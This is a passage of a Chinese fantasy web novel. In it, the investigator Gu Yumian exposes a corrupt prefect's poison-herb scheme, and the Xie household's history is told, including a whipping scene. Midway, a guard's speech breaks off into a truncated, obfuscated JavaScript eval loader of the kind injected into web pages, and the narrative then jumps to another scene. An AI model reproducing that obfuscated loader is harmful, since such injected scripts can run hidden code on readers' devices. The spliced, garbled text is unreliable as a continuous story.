不过眨眼的工夫,那人便作了一摊血淋淋的烂肉。 自打那日起,步家行事有所收敛,可惜江山易改,本性难移,在许氏不易统管之地,贪风依旧喧嚣。 沄州位于许氏地至西,与渭于的群山相接,石筠村更是穷乡僻壤之地。因着山高水远,那贪官步璋横行霸道,即使许氏听着了风声也不便管理。 许辞闲当然不能驳了他爹许暮炤的面子,却也没想过要放过步璋,故而玩了一出借刀杀人的把戏——苍巡。 十五族是个深不见底的狐狸窝,各族背地里都在敛财逐利,压根谈不上干净。 然而,“苍巡”既要巡查,自然得先有权。每载苍巡的领头者皆有越过世家直接惩治四地恶徒之权,这是要十五族相互牵制,以避灾殃,亦是要借机彰显神力,以震慑凡俗,求个天下太平。 这一巡,无可置疑会断了十五族无数财路。 奈何老祖宗死了,定下的规矩也死透了,百年来各族刁滑奸诈之辈层出不穷,却还是没能废止苍巡的规矩。只是各家多少知道些分寸,若非穷凶极恶之徒,有时便也睁一只眼闭一只眼了,倒也不至于坏了两家情谊。 久而久之,十五族也都明白了该如何用好苍巡这把刀。单就今日事而言,便是日后步氏算起帐来,这步璋也只能算是栽在顾氏手里,可不关许家的事,那么许步二氏的交情也自然能算是没有遭受丁点儿损害。 次日一早,顾於眠便慢腾腾踱到了知州府前。只见府门前倚着个昏昏欲睡的家丁,他手里握了把生锈的长戟,见有人靠近,仅仅张大嘴打了声又长又懒的哈欠。 直待顾於眠又向上迈了两阶,笑盈盈停在他面前了,那家丁才满脸嫌怨地将长戟往他面前一拦,骂骂咧咧道:“蠢货,睁大眼看清楚了这里是什么地儿!天都没亮透就找上门来,我家大人还没醒呢,你这大清早究竟是想扰谁清梦?!” 顾於眠也不恼,只笑问:“知州大人几时起呀?” 见他照旧嬉皮笑脸,那家丁心生登即恼羞成怒,他赫然将长戟杵地一震:“大人之事要你来管!?” 顾於眠恭恭敬敬作了个揖,笑道:“麻烦你与步大人通报一声,就说禮间顾氏的顾於眠有要事相告。” 那家丁闻言,两眼霎时瞪如铜铃:“啊……顾、顾公子?真、真对不住……是小人有眼不识泰山,小人这就去禀告大人……” 事实上,那家丁并未听说过顾於眠,仅仅是对禮间顾氏“北冥凶魑”的恶名有所耳闻,却也清楚这十五族人都是懂法术的妖孽,是万万不能得罪的。 即便如此,也没请人进屋,单晾在外头干站着。将近半个时辰过去,那家丁才懒洋洋地回来说大人尚在用早膳,顾公子您就在这候着吧。 见他满脸鄙夷语气不善,顾於眠猜到他大抵是从步璋那里听来了什么讥言冷语,于是摇头叹气。 果真是贵人眼高,眼空四海。 这会儿顾於眠已站得双腿发酸,面上笑意却更深了些:“步老爷好大的排场,既他不来见我,那我便去见他。” 于是推开那拦路家丁便要往府中进,守门的俩个护卫见状大吃一惊,几支长戟登时便横落下来,拦了他去路。 顾於眠也不急,单平静问:“诸位想好了再动手。” 他不喜仗势欺人,但这“势”有时比谦卑好用太多了。他抬手握住其中一支长戟,那东西转瞬化作了土灰。 继而,他不紧不慢拍去手上尘:“我本便是为十五族苍巡而来,诸位如此怠慢,岂非轻视十五族?你家大人在此地确乎势焰熏天,可胆敢在十五族眼皮子底下贪脏枉法,恐怕是死罪难逃——诸位不如再去通报一声,就说,大人若再不出来见客,那早膳便是他的断头饭。” 那俩护卫吓得呆了,面面相觑,连大气都不敢出一个。只是,自家大人的话撂在那便是个一碰就炸的炮仗,这顾公子固然可怕,但得罪了大人也定是吃不了兜着走,指不定一条小命都丢了! 他们进退两难,急得面红耳赤,却又不知该如何是好。 末了,是那家丁壮起胆子,结巴道:“顾、顾公子!您就别为难小的们了……小的……小的也不敢违抗大人的命令呀!” 顾於眠盯视那眼神乱飘的家丁,一哂,正要开口,却忽闻极闷沉的一声—— “都给我跪下请顾公子进去。” 顾於眠回首,便见一人举步如飞。他一身剑锋紫圆领袍衫,半束长发,乍看去倒似个儒雅君子。然身高八尺,不苟言笑,眉梢眼底分明是刺骨寒意。 “公、公子,您……您怎么来了?”那家丁震悚,浑身抖得厉害,他不断将脑袋往下低,仿佛要埋进地里。 “跪下!” 那公子提声一吼,三个侍从当即屈了膝。他们将脑袋狠狠砸上石地赔罪,咣咚几声重响下去,前额皆肿起紫包,却仍不敢抬头。 顾於眠大致能猜出来人。 他曾听许昭安讲过,步家嫡长子名唤“步凄晚”,家中还有两个庶出的兄长,但坊间都道那步凄晚是板上钉钉的下任当家,故而其兄长皆将其视为眼中钉肉中刺,成日闹得家翻宅乱。 可步凄晚其人脾性冷淡,甚而将血亲视同路人,却唯独对许昭安极好。步凄晚是打心底的喜欢许昭安,亦或别有所图,也未可知。 顾於眠尚没来得及开口,步凄晚已止步,并恭恭敬敬推手作了个揖:“在下步氏‘步凄晚’,还望顾公子恕家奴愚钝,在下日后一定好生管教。” 他抬起头时,顾於眠这才发现他的眼神尤其空洞,其间黯淡,恍如一潭死水。 “无妨。”顾於眠并不多虑,“适才让步公子见笑了,还望公子谅我心焦如焚,方出此下策。” 步凄晚抿唇淡笑,不再多言,轻车熟路领着他入了府邸客堂。也不待步璋来,先请顾於眠落座,而后径自坐上主位。 顾於眠请不来的大佛,眨眼的工夫便已停在了堂前。那知州大人衣衫不整,乱发披肩,细密的血丝天罗似的红了一双眼。他小跑而来,这会儿气喘如牛,满堂净是呼哧呼哧的急喘声。 他这分明是一副初醒模样,适才又怎可能在用早膳? 好容易缓过劲来,他后知后觉地望向堂内。那刹,一双瞳子剧烈颤动起来,他啊啊呀呀不知说了什么胡话,尔后竟生生屏住了呼吸。 “快坐吧,顾公子今日专程来寻你,应是有要紧事相告。”步凄晚连半个笑脸都没给步璋。 步璋打了个寒颤,耸肩缩颈地落了座。顾於眠随即开口:“步大人,这苑山石筠村你可了解?” 步璋一怔,无端哆嗦起来,眼神当即飘向步凄晚。 “问你话呢!你总瞧我做什么?”步凄晚赫然将茶盏往案上一砸,铿的一声脆响。 “小人自、自然是知道的……”步璋面色煞白,艰难咽了口唾沫,“那苑山两月前莫名下起了雪,冻、冻死了七个人。但下官也不过凡俗,不懂术法,搞不明白那是怎么一回事,这事与下官无关哇!至于那石筠村,不过山中一小村,不足为提……” “没了?”顾於眠抬起眼帘。 步璋小心翼翼看过去,点了点头,谁知顾於眠冷笑一声,手中茶盏猝然朝他扔去。瞠目结舌间,那茶盏已箭似的砸上他身侧石墙,蓦地四分五裂,碎了一地。 “你忘了,那我替你说——十三年前,你成了这沄州的知州,也恰是你上任后,出了‘怨山葬白骨,凄凄送亡人’的风谣,再无人敢入山送救济粮。石筠村的百姓又受山中法阵影响根本逃不出去,那些人的生路就此断了!” “什、什么法阵?!冤枉啊大人,下官压根没听说过什么法阵!” “能靠那法阵受益的只有你。” “小人当真冤枉哇!”步璋匆遽起身,急得满头大汗。 “石筠村不曾缴纳过赋税,因为苑山根本是座寸草不生的荒山,故而沄州每年向许氏上报的计薄上也从未出现石筠村。” 顾於眠没容步璋反驳:“你明知缺了救济粮,苑山百姓根本活不下去,你良心何在!可曾想过供你花天酒地的金银财宝皆是他们的买命钱?!” “小人、小人……当年截了救济粮不过是想倒逼村中百姓下山!顾公子明察秋毫,自然清楚每月上山送粮既耗时又费力,当初也是步家大人们体恤石筠村百姓恋乡之情,方出了以救济粮养民的下策。可这几年沄州收成不好,也不能总仰仗咱们养着他们哇!”步璋急得嘴皮子都要磨破了,“既他们不肯下山,小人便只能断了他们的粮了,实在是不得已而为之……” “笑话!”顾於眠一掌拍在桌上,“八年前苍巡,许三爷许临上山查探,文书中仅提及山上法阵,却并无半点与石筠村相关之事,大人以为这是为什么?” “因为那会儿石筠村早已不复存在。既然如此,又谈何搬迁?多亏三爷下山时发现那法阵的存在,顺手将法阵给解了,否则便是今日入山之人也绝无可能从山里走出来。三爷确实不清楚那阵有何作用,但我知道——石筠村人吃人的惨剧皆是你这贪官酿成的!” “不、不……小人冤枉呐!小人认罪,小人的确贪了那石筠村的救济粮,可小人只是个不通术法的凡民,饶是吃了熊心豹子胆也干不出那用法术作乱的事来哇!”步璋头脑发昏,扑通跪倒在顾於眠面前,“求顾公子明察啊!” 步凄晚本冷眼傍观,一副事不关己态度,见那步璋下跪的窝囊样,这才不咸不淡道:“设法阵害人可是死罪。” 他斜乜那浑身打颤的步璋一眼,便问:“顾公子可有证据么?假使步璋当真犯下如此大错,自当以死谢罪,可他毕竟是我步氏族人,若非证据确凿,恐怕不能让我氏平白无故背上这污名吧?” 顾於眠莞尔,他回身直视步凄晚,四目相对,皆不让寸步。 “我自然不是空手而来。”顾於眠走近步凄晚,“先前我如何也想不明白,倘若苑山自古以来便是座寸草不生的荒山,那石筠村又为何会出现在那里?仔细读了许家给的文书,这才发觉,那苑山本不是荒山,山中也曾有几处沃田,石筠村百姓算是温饱不愁。然而,就在短短数年间,那苑山之壤便废了——缘由呢?” 步凄晚的眼神只一刹动摇,却被顾於眠看得清清楚楚。他走至那张太师椅前,俯视步凄晚,字字清晰道:“你们步氏在苑山上种了毒草!” “毒草?闻所未闻。”步凄晚冲顾於眠歉疚一笑,又看向那仍屈膝不起的步璋,“你可曾听说么?” “小人……当真毫不知情哇……定、定是有人蓄意陷害……” “步公子又何必在此惺惺作态?”顾於眠一哂,他将手压上步凄晚的肩,稍使劲,掌心下健硕有力的筋肉骤然绷紧,“我知你是聪明人,便不与你拐弯抹角了。先前我也曾思虑歌谣一事乃知州大人一人所为,可大人这成日恋酒贪花的,哪儿能有这番心思?故而我便想,他所倚仗的到底是你们步氏呀!” 步凄晚敛去面上笑意,正要开口,顾於眠却忽然加大了手上力气,将他牢牢压制于太师椅上。 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步凄晚将那账簿翻开,见不过是个拓本,起先一双眉还是舒展的,颇有种观猴戏的轻蔑姿态,然而渐渐地眉心却蹙紧了。 “步虞那傻子为了活命连步氏干腌臜勾当的账簿都供出来了,上边可清清楚楚地写了与沄州毒草相关的开支。步氏若当真问心无愧,便把步璋手中账本也交出来,两相比对,自见分晓。” 顾於眠笑盈盈地瞧他,虽端着一副良和温润模样,口中话却毫不饶人。 “不必了。”步凄晚也站起身来,他振袖拱手,状似垂首赔罪,眉梢眼角却尽是憎厌,“步璋确实在那山上种了毒草,却也并非别有所图。常言道是药三分毒,这毒草亦是名贵药材,是步璋步虞二人见钱眼开,方做出这般腌臜勾当,也怨步氏失责,日后定将好生管教。” 眼见话到说到这地步了,那步凄晚仍妄图委罪于人,顾於眠眸子一暗,却依旧有十足的耐心:“那毒草的毒性太强,压根治不了病,更别说入药了。究竟是药用,还是用以炼毒,你自个儿心里有数。” 他顿了顿,又笑起来:“至于炼毒所为何事,会是如何下场,十五族应该讲得很明白了——敛财罪至轻,可罪魁依旧难逃一死。还望步公子仔细掂量轻重,莫要一意孤行,以至穷途末路方知悔改。” “顾公子教训得极是——我定会立马派人铲除山上毒草,也绝不会再让步璋出现在您看得见的地方……” 见他执意要把过错皆往步璋一人身上引,顾於眠也没急于驳了他面子,只沉默着凝视他。 步凄晚被迫接下那道戏谑目光,并非明晃晃的侮蔑,而是一种极隐晦的警告,要他日夜惕厉,不敢越雷池半步。 步凄晚垂下眼帘,胜败已分。 他将眉一压,眼底倏然烧起腾灼的怒火。刹那之间,他抬起腿狠狠踹向步璋。 那一脚正中步璋的小腹,霎时疼得他蜷身痉挛起来。那知州刚醒尚且空着肚子,这会儿冷不丁挨那一下,没忍住便呕出一地的脏污。 他倒在那些秽物间,压根顾不上狼狈,喘了口气便扯住步凄晚的衣摆哭喊着求饶。 步凄晚俯视他,蔑如见蝼蚁。抬手,几拳霎时雨点似的砸到步璋身上,直叫他口鼻中喷出殷红的血来。 “成事不足败事有余的蠢货!” 起先那步璋还咬牙忍住呜咽,这么一顿下来他便耐不住哑声嚎哭,然而那叫喊在咔嚓数声骨头裂响后戛然而止。片顷无声后,步璋忽然捏住喉咙撕心裂肺地咳嗽起来,几颗牵着血肉的牙在下一刹从他口中掉出。 眼见步璋已奄奄一息,发了狠的步凄晚可算慢下动作。 顾於眠冷眼旁观,只漠然瞧那步家子打红了眼,恍如嗜血的野物,恨不能将步璋抽筋剥皮。 他把自个儿当成了看客,绝不会出手阻拦,也断然说不出“活生生一条人命”这般话来。善恶有报,步璋犯了那么多罪,总得吃点苦头才是。 忽然想起严卿序,他心念那君子大抵见不得这般场面,又想起严氏最是凶恶,那严氏子的一半威名亦是靠刀尖舔血夺来的,应也不全是纯良的大善人了。 “啊——!” 一声嘶嚎遽然将顾於眠的思绪拉回。 他定睛一瞧,这才见步凄晚正攥着步璋的腕子,那人的手骨已经断了,腕处隆起了紫灰的大包。步璋疼得喊不出声,冷汗与血糊了他一脸,堂堂知州,何其狼狈。 顾於眠有些倦了,于是冲步凄晚淡淡道:“步公子答应的事可要仔细办妥了,只是设法阵封山一事罪无可恕,日后许氏仍会派人追查。苍巡不过敲打,可十五族若是懂了真格,便不可能如此轻易收尾了。” 还不等步凄晚回答,顾於眠已跨过门槛,只又落下句:“步璋,好生谢过你家公子吧。” 言罢便头也不回地走了。 门口侍从倒吸了口凉气,抖着声音道:“顾公子慢走。” 待瞧不见顾於眠人影了,步凄晚方垂首,他久久凝视着脚下满身血的步璋,深深吸了口气。拳头须臾打上墙去,被磨破的指节顿然冒出血来。 “公子您的手!” 步凄晚没理会侍从的呼喊,只不咸不淡道:“去把府上医师唤来。” ------------------------------------- 顾於眠没有乘车,走回宿处约莫要近一炷香的工夫。一路上总有人朝他张望,瞧几眼又转回去,压低声说些什么。 寻常时候,顾於眠多会笑盈盈地颔首,可眼下心中有事,愣是佯作不知。 步家种植毒草的缘由究竟是什么?当真只是为了炼毒谋财?那步凄晚瞧着分明并不很在乎,又为何要演出一副气急败坏模样? 他忽然想起谢尘吾信中内容,说是陌成谢地某小村也长出了好些毒草。偏偏步氏与陌成生意往来频繁,他很难不有所猜疑。 “果然得先去陌成一趟。”他嘀嘀咕咕着,途径一铜镜小摊,猝不及防自镜中窥见身后模糊黑影。 顾於眠一惊,猛然回身。 这一转,他身后人霎时不知所措,猝然怔愣在原地。 “卿序?” 16. 乞丐 “你怎么不唤我?”,顾於眠几步便到了严卿序身侧。 “我见你正想事情,不想打扰你。” “哎呀,兄弟间说什么打扰呐,多生分啊,”,顾於眠哈哈笑了起来,又回头望了望,“我说怎么总觉得有女子往我这边张望呢,原来是被严大公子的剑眉朗目、宋玉之姿给吸引了去。” 严卿序无奈耸了耸肩,笑道:“於眠可别拿我来打趣了,方才那群女子是在谈你呢,我可听得明明白白。” 顾於眠依旧笑着,只摇了摇头,一副压根不信,别不好意思的模样。 只见他嘴角上扬,眉目弯弯。说也奇怪,本便生得貌比潘安,笑起来却又尤其好看,以至于出尘脱俗,其间俊逸如何说? 严卿序寻不到答案,大抵是天上仙,空中月,枝上雪,是一切的可望不可及。 “长停呢?怎么没和你在一块?” “……我很少清早去找长停,他……”,严卿序到底说不出口,魏长停风流成性,他可不愿扰人清梦。 幸而顾於眠没有深究,只是抿唇笑道:“车马已经备齐了。待你们准备妥当了,我们便去谢家寻尘吾和念与吧?我心里总觉得这苑山毒草同谢地的毒草有什么关联在。苍巡也不能总待在禮间,四地的奇闻异事多了。” “苑山毒草?” “哦,我忘了同你们说了,闻风给莫老人带的所谓‘野菜’便是毒草,这本也没什么,只是后来雪停后我见那白梨底下也生了不少毒草,,恐有蹊跷。” “所以你方才可是去步大人府邸问这事了?” “嗯。” 严卿序点点头,见顾於眠披了一身的曦光,如是画中来。 杳霭流玉,清风含香。 倏忽间,他觉得自己很幸运,绮纨之岁,能觅得一有缘人,一见如故,一见倾心。 ------------------------------------- 十二日前,江念与自觉伤势已无大碍,谁承想心口一疼,竟在卧榻昏睡过去,一睡便是八个时辰。 谢尘吾片刻不敢离开,在旁侧一坐也是八个时辰。 江念与睁开眼时,映入眸中的便是谢尘吾那张冷面,他抱着双臂,坐得笔直,若苍松屹立。 瞧见他醒了,他那皱着的眉竟缓缓舒展开来,隐约间似身上寒意散开了些,凛冬中照入点点暖光。 “你醒了?醒了便喝药。”,谢尘吾淡淡道。 他所说的同江念与第一日醒来时并无不同,只是又添了几句,“你身子太弱了,还是得好生休养。” 江念与第一次听他说些不那么凌厉的话,竟有些想笑,“我身子不弱,是那伤太重了。” “细胳膊细腿,薄得像张纸,你那腰轻轻一折便要断了似的。”,谢尘吾也有些想笑,“你身子不弱,谁算弱?非要和柳慎逾较个高低么?” 江念与不知他在和一个重伤未愈、刚刚醒来的病患说些什么,觉得同他聊不下去,头也有些隐隐发痛。 柳慎逾什么人? 柳家那自小身娇体弱,疾病缠身的嫡长子!他岁数愈大,身上病也愈发重,每每发病,痛不欲生,已是鬼门关前走了几回的人。 柳慎逾成日躺在床榻上,如同折了翼的飞鸟,囚笼却是他自己。 “我欠你的,便一定会还。”,谢尘吾盯着江念与的眼,说得坚决,像一块磐石,怎么都移不开。 “你不欠我什么……” “你救了我一命。” “……”,江念与想让他闭嘴,不要扰了他的清净,便是还了他一个大人情了。 但江公子的教养到底不让他说出口来。 “我睡了多久?” “八个时辰。我没敢离开一步,怕……” 怕你突然吐血而亡。 谢尘吾没想到自己竟也有想说之话突然停住的时候,但他瞥了眼江念与那张毫无血色的脸,知道不妥,还是把话生生咽了回去。 “怕什么?”,江念与心中冷笑,面上却一副云淡风轻的模样,怕我突然毙命?怕我一命呜呼?怕我年纪轻轻便油尽灯枯、行将就木? 只是不知怎的,那字正腔圆的“八个时辰,没敢离开一步”敲着心墙,余音不绝不散。 “没什么,”,谢尘吾扭过头去,怕被江念与瞧见一星半点慌张。 只是还不等江念与在心底笑够,谢尘吾又用那低沉的嗓音砸下七个铿锵的字来—— “你同我回谢家吧。” “……” 江念与觉得和谢尘吾实在是聊不来了,他弄不清谢尘吾那榆木脑袋里究竟有没有“分寸”二字,人情世故一点不通,严卿序究竟如何忍了他二十年…… “我家中有急事,三日后便要出发。但你重伤未愈,还需有人照顾,我不能把你自己扔在这。” 真仗义啊。 江念与本想推脱,他在陌成没什么熟人,心底也总想和那傲慢的谢尘吾唱唱反调。 只是谢尘吾站起身来,一股脑将谢地发生的种种怪事给尽数交代了。譬如多少诡事,多少百姓受难,多少谢地闹鬼之说不胫而走云云。 江念与用一副冷漠又带着些无话可说的哀怨表情瞧着谢尘吾,只木然地点了点头。 谢尘吾却没看出些什么,只道:“你以后别半夜三更用你那双大眸子这般瞧人,恶狠狠地像是要吃人的恶鬼般。” “呵……”,江念与冷笑起来,“能吓着谢公子也是种能力。” 向来只有人夸他那双桃花眼生的好看,从未收到过如此妖魔化的“赞誉”。 “……” 屋中四目相对,又沉寂下来,清冷的月光透过薄薄窗纱散在两人肩头,又落在两人眉目间,像捻了把银白的细沙,泼在了乌黑纸卷上。 无人再说一句话,只是任晚风拂动床帘,发出沙沙声响。 盛着缁色汤药的白瓷被端上前来,淡淡的苦药味盈满周遭,只听轻轻几声,那药便被喝了个干净。 ------------------------------------- 六日后,谢尘吾同江念与快马加鞭赶至了陌成谢府。 谢尘吾那辆马车一停在谢府门前,一行玄衣的侍卫便迎了上来,领头的侍卫抱拳垂头笑道,“公子您回来啦。” 谢尘吾只朝他点点头,便交代道:“让下人备好热水,我要沐浴。你一会带江公子在府中逛逛,若是他累了,便领他回房里休息,让医师都在屋外候着。” 他说完又递过张药方,“把药煎好备着。” 江念与坐在车内百无聊赖地听谢尘吾同那侍卫交代事务,眼睛瞥着那紫灰色的帏裳,那帘子随风动,透入点细碎的光来。 谁知只一刹间,一人便撩开帏裳探入身来,谢尘吾那张俊逸潇洒之面于是出现在眼前。 果真凤表龙姿,只是傲骨天成,眉目间的寒意像是化不开的凝霜,疏离之感令人难将目光再多停留一刻。 “下车吧。你想在上面坐到什么时候?” “……” “哎呀,公子,江公子不是伤势未愈吗?这会许是伤势隐痛,行动不便,还是我将江公子扶下车吧。” 那侍卫名唤“方濋”,本是谢尘吾的贴身侍卫,谢家家主命他守着谢尘吾,寸步不离。 这方濋愿意,谢尘吾倒不乐意了,他最烦有人跟着他,何况这方濋生性活泼,说起话来没休没止烦人的很。 所以方濋也只能作为谢尘吾的半个心腹帮他处理些事务,谢尘吾还常故意派他去领些要出远门的任务。 没了那絮絮叨叨的人,可算清净些。 方濋却是有苦难说,他也才刚从百权回来没几天,谢尘吾见了他又觉得心烦起来。 方濋笑着向车内探入个脑袋。 他早便听闻江念与“四地第一美人”之称,心中总有些不解,这说他妹妹江绪壹便罢了,怎可能有一男子和她齐名呢? 他见过生得最为俊秀的男子,便是他家公子和常来的严公子与魏公子,初见时,也是感慨良多,这玉树临风、英俊潇洒岂是常人比拟得了的? 一来二去,心中已然给俊逸划下条线,觉得再没有人能越得过去了。 这会他还暗自在心里同自己赌了把,赌的便是江念与徒有虚名。 然而掀帘内望的那一刹,方濋便知自己输得一败涂地。 车内公子一身丁香淡紫色长衫,眉黛青山,双瞳剪水,面容如画。 一双翩翩动人桃花眼似新月浮云,双眉则利落如青竹之叶,一张唇不点而红,鼻高而精巧,恍若孤峰出寒。 一眼看去肤白胜雪,神色淡漠,凛凛散着难以近身的冷冽之气。 加以身姿高挑修长,更是脱俗出尘,恰好若寒冬之月微掩于薄云,虚缈难及。长发披散而又以淡紫长簪微盘起部分,飘飘欲仙。 方濋看得呆了,他未曾见过这般俊逸的人物,似乎比他家主子还要胜上许多,他也不是什么风流儒雅的读书人,只不禁感叹道:“江公子生的也太好看了。” 谢尘吾闻言皱了皱眉,瞥了江念与一眼,又冷冷将目光移到方濋身上,“你是没什么可夸的了么?” 谢尘吾早便看习惯了江念与那张脸,如今瞧着也不过平庸之姿,何况夸一男子生的好看,着实逆耳。 车内江念与听了方濋的话,也是见怪不怪了,只浅浅一笑,轻声道:“不必扶我,我的伤好得已经差不多了,我自己来便行。” 谢尘吾同江念与扔下句,“我晚些时候再来找你”,便快步入了府。 方濋和江念与站在府门前,方濋不好意思地挠了挠头,“江公子别介意,我们家公子就是那么个性子,但他绝无恶意的。” “我知道的。” 人皆道,陌成百姓多柔心弱骨,因而出了墨家这么个居心叵测的叛族也无一战之力,硬是被屠了几座城。 但是,谢地许是同百权那崇武之地相接,百姓多粗犷豪放,亦好武。 谢家是陌成的狼。 因其好武,也因民间常传,谢家之人多薄情,性子寒凉,鲜有温热之感。 连血都是冷的。 江念与少有同谢家人打交道,但单从谢尘吾来看,似乎也没错。 江念与抬眼望去,只见谢府飞檐反宇、绣闼雕甍,属实一派大族模样,门前侍卫皆是一身玄衣,立得笔直,皆不似方濋那般跳脱,如他们家主子一般的淡漠,目不斜视,也确实给这谢府添了不少威严。 只是这般讲究的府邸对面墙边却瘫坐着个衣衫褴褛、蓬头垢面的乞丐,那人的眼睛直勾勾地盯着谢家大门,一道长而可怖的刀疤穿过左眼直穿至右脸颊,脸上还挂着点古怪的笑。 江念与没有多问,只瞥了一眼便随方濋入了府,却不知那双混浊的眼睛一直盯着他。 第二日,谢尘吾没出现,江念与随方濋出门又看见了府门前的乞丐,第三日、第四日依旧如此,他终于忍不住向方濋打听。 “那人是?”,江念与有些犹豫地开了口。 “谁?” 方濋顺着他的目光望去,只见那乞丐匍匐于地,嘴里还嘀嘀咕咕说着什么,疯疯癫癫。 “嗐,江公子,他是不是碍着你眼了?那家伙就是这样,赶都赶不走,不信你看。”,江念与本来要把他拉住,怎知方濋和他主子一样身快,只几步就到了那乞丐身边。 只听他喊道:“喂疯子,这几日不巧,我们有贵客来了。你呢,就碍着我们贵客眼了,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“门外那原公子,名‘衡文’。他啊,本是草野间纵马奔驰的快活少年,随他父母入陌成经商那年不过十四岁。只是他家不知使了什么法子,短短几年便成了谢地的富商。这原衡文随了草野牧民的直爽豁达,又兼了谢地人的谦逊朴实,再者其生得俊秀非凡,也曾是迷倒万千女子的翩翩公子呐……” “他在谢地住得久了,和我们家公子关系也不错。我们家公子呐,您也知道的,生来性子就有些薄凉,能称得上好友的,一只手都能数的完,但原衡文本是其一。”,方濋又叹了口气。 “那他怎会沦落成这副样子?” “江公子有所不知,原家干的是杀人制毒的勾当!其父暗中制毒入药,杀人无形,以供养祭天邪术,其母亦是如此,加上其兄姊嚣张跋扈,杀人放火,谢家怎么可能容得了他们?” 方濋压低声音,“两年前,我们家公子奉命带府兵百人屠了他全家!原衡文寡不敌众,只得跪地哀求公子放过他母亲,但公子本便是心中无情之人,何况家主命令已下,他怎可能心慈手软?而且公子也心知肚明这原家罪大恶极,如若他手软了,那千余条性命谁来还呐?” 方濋又无奈地摇了摇头,“原衡文死命护着他母亲,公子没注意,手起刀落,那刀便直直划在他脸上,后来也就成了那可怖的刀疤呗……啧,可惜了以前姣好面容。” “灭满门怎不连他一起?” “嗐……那是因为公子觉得原衡文不知家中事,本便无辜,不应代为受罪。当时家主心意已决,不肯松口,公子便在家主那生生为他跪着求了三日的情,这才留下原衡文的命来。” 方濋拨开挡路的枝桠,“都道公子无情,可公子到底心肠是热的呐。只可惜那日以后,原衡文便疯了个彻底,活的是生不如死,倒不如就死在那夜来得痛快些。” “你都和江公子讲的什么呀……”,旁边那侍卫有些不满地瞧着方濋,“可别坏了江公子的心情。待大公子怪罪起来,要拿你是问的。” “嗐……是我不好,江公子可别将方才那话放在心上。”,方濋挠了挠头,谄谄一笑。 江念与轻轻摇了摇头,识大体地没再问下去。 他不知随方濋走了多久,只见眼前是几丛潇潇随风动的单竹,细细的竹叶藏在怡人春色间,不争不抢。 竹下摆着把百年杉木琴,琴身右侧有些梅花断纹,温润雅致,旁侧红木桌案上摆着个镂空香炉,熏香随着缥缈轻烟,在周遭散开来。 只是方濋和那侍卫见了那把琴,仿佛见了什么神仙圣人似的,都没再说话。 只见俩人对着那琴站定,垂头推手行了个礼,表情有些许悲伤。 又听得方濋口中轻轻念——“我俩还有贵客要招待,不能久待,还望夫人别怨我俩怠慢了。” 言罢这才退几步带着江念与缓步离开了那儿。 “方才……” “那琴是夫人的,夫人仙逝后,家主不容人去碰那琴,已经十几年没人弹过了。” 方濋觉得鼻子发酸,“夫人是个活菩萨呐!怎就福薄……唉……以前家主总在一旁坐听夫人弹琴,如今却是一点琴声都不想听到,他这辈子恐怕只听得进夫人弹的琴了。 “高山流水,知音已去,再不闻曲声……” 三人走走停停,这偌大谢府像是怎么也走不到尽头般,只是谢府尚且如此,那以富足闻名的李家府邸又要有多夸张…… 谢家府邸多是安静得出奇,只是三人绕过一处宅院,却听得院内传来斥责谩骂之声,但隔着些距离,听得并不清楚。 方濋同那侍卫面面相觑,忙把江念与向一边拉去,急急道:“江公子,这边走,我们糊涂了,怎么绕到这边来了。” 江念与经过那院门时无意向院内瞥了一眼,可单只那一眼便令他久久不能忘怀。 院内,谢尘吾跪在地上,面无表情,淡漠之感令周遭空气都凝滞住。 他赤|裸着上身,背上是血淋淋的鞭痕,有深红的血干在臂膀上,翻开的皮肉间却又点点渗出些血珠来。 江念与浑身一颤,忙移回目光,轻轻咽了口唾沫。 院内的谢尘吾不知道他经过,他自然也是不愿任何人看见他这副样子的。 虚汗从额间淌下,他抬头看了看站在阶上的父亲,又默默垂下眼睫。 17. 青袡 谢尘吾一回谢府就奔他房里沐浴去了,风尘仆仆地赶了三日,他实在是受够了。 只是,沐浴更衣后,他心中竟有些莫名地犹疑。 他盯着那倚屏风放下的罹难剑,冷冷地扫了扫周遭,然后便是久久的沉默。 屋外侍女喊了他几声,他都没应,像是屏息憋气,阵阵不适感从喉口涌出。 只听得一侍卫在门外轻声说了些什么,那侍女便不再叫唤,又听见细碎的脚步声,侍女的侧影投在窗纱上,离开了。 “公子,青袡进来了。” 只听得细细的“吱呀”一声,门被推开,一个玄衣侍卫踏入屋中。 只隔着屏风瞧见谢尘吾的影子,他便抱拳单膝跪地,“公子,家主唤您。” 谢尘吾方才没让侍女进屋伺候更衣,自己又莫名心绪不定,身上的衣衫还有些散乱,见他进门来也不恼,只冷冷道:“你是我的人,还是父亲的?” “青袡是谢家的人。”,方青袡没有抬头,他知道谢尘吾生了怒意,这话他也不是第一次听了。 谢尘吾俯视着那侍卫,冷笑几声,不知是说给自己听还是说给方青袡听,“谢家……” “公子,我帮您正襟吧。” 谢尘吾没有说话,方青袡便起身绕过画屏为他整理衣裳,摆正发髻,又为他在腰间挂上谢家玉佩。 将谢尘吾收拾齐整后,他便用干净的布将罹难剑的剑鞘通体擦拭了一遍,这才双手递给谢尘吾,全程没说一个字。 作为谢尘吾从小到大的贴身侍卫,方青袡清楚他的性子,他不喜欢侍卫多言,他便能少说一句话便少说一句话。 也因而,他得以时常跟在谢尘吾身边,不似方濋那傻子,一日日尽挑谢尘吾不喜欢的事干。 “父亲……生气了?” 这话乍一听似怕惹怒父亲的孩童问的,有些稚气未脱的影子在。只是放在谢尘吾身上,便不是要一句答复那么简单了。 “公子……一会不要同家主起了争执,家主若是责罚,您咬牙受着便是了。” “他若说得对,我何时又违抗过他的命令了?” “日永星火,仲夏将至……” “我知道。” 谢尘吾见他已经理好衣装,冷冷地瞥了半跪在地的侍卫一眼,便推门朝父亲的院中走去。 ------------------------------------- 可惜了新换的衣裳,血都溅在了上边,汩汩鲜红浸湿了他的下衣,粘腻的血带来的熟悉不适感令谢尘吾不禁皱了皱眉头。 真脏啊。 只听得一声饱含怒意的闷声低吼从一人喉间传出。 “你还要别人来救?!” “啪”,带血的长鞭在谢尘吾背上又留下了一条长痕。 “你如何对得起你母亲?!” 谢尘吾本高高扬起的头垂了下去,刚解开的眉头又拧紧了。 “啪”,皮肉在毫不留情地鞭打中翻开来,血肉模糊地掺杂在一起。 不多不少十下,恍恍惚惚间他竟已忘却他母亲仙逝已经十年了……谢尘吾本就冷冽的脸上又带上些惹人惧的苍白来。 “你可报了江公子救命之恩了?” “尚未报完。” “尽快报完。” “嗯……” 